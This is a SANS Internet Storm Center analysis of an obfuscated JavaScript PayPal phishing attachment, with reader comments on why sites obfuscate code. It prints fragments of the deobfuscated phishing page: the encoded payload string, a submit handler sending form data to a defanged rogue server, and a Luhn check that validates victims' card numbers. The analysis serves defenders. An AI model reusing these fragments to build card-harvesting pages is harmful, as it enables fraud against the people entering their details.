Threat Level: green Handler on Duty: Renato Marinho

SANS ISC: Nicely Obfuscated JavaScript Sample - SANS Internet Storm Center SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Nicely Obfuscated JavaScript Sample

One of our readers sent us an interesting sample that was captured by his anti-spam. The suspicious email had an HTML file attached to it. By having a look at the file manually, it is heavily obfuscated and the payload is encoded in a unique variable:

var iKz7xb8 = "160b6e65697e737a6f0a627e67661416425e47460a464b444d17084f44081416424f4b4e1416
4b47434653100a0d784548455e450d060a5 ... ";

The file has a current VT score of 0/55 [1] and is "free" of malicious code, it is just a very nice Paypal phishing page:

The HTTP form data are sent to a rogue server but how to get it? To obtain more details about the malicious JavaScript code, it can be de-obfuscated with JSDetox[2] and some manual changes. The complete code can now be reviewed manually. The following function does the job:

<input type="button" class="ssP" onClick="ss()" value="Submit Form">
function ss(){
    if (!TLSPort()){
        return false;
    var GoogleAnalytics="hxxp://" + "86c2e66377265675a8a0edc1befe1837.php";

The TLSPort() function is just a validation function:

function TLSPort(){
    var CV=CValid(document.pF.pCC.value);
    if (!CV) return 0;
    var x=document.pF.pFN.value,y=document.pF.pEM.value,z=document.pF.pEY.value,\ 
    if (!v || !w || !x || y=="00" || z=="00") return 0;
    return 1;

CValid is used to verify the CC number provided by the victim:

function CValid(x){
    if (/[^0-9-\s]+/.test(x)) return false;
    var nn=0,nd=0,be=false;x=x.replace(/\D/g, "");
    for (var n=x.length - 1; n >=0; n--){
        var cd=x.charAt(n),nd=parseInt(cd, 10);
        if (be){
            if ((nd *=2) > 9) nd -=9
        nn +=nd;be=!be
    return (nn % 10)==0

Here is a valid POST to the attacker's server (using a test Visa number - 4111111111111111 - and fake data):


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


296 Posts
ISC Handler
Can someone explain to me why seemingly legit sites (for example, use javascript obfuscation. Seems to me, if we could stop legitimizing it's use in some places, we could do a better job of protecting our folks against its use.

> Can someone explain to me why seemingly legit sites use JavaScript obfuscation?

To protect their Intellectual Property, namely code snippets that could be useful on other sites?
To "hide" their sloppy programming?

I once saw some commercially-licensed FORTRAN programs for "contouring" [graphics] where all the characters of the variable-names were either "oh" or "zero" or "eye" or "1".
This reminds me of an episode of "The Match Game with Gene Rayburn" where all the items on the game-board were like '$6.66' or $6.69' or '$9.69'.

I have an hypothesis: it's the same reason that pushes some people to disable copy-pasting functionality in password forms to 'secure' their website or disabling the 'right-click' to prevent IP theft :)

4 Posts Posts

Sign Up for Free or Log In to start participating in the conversation!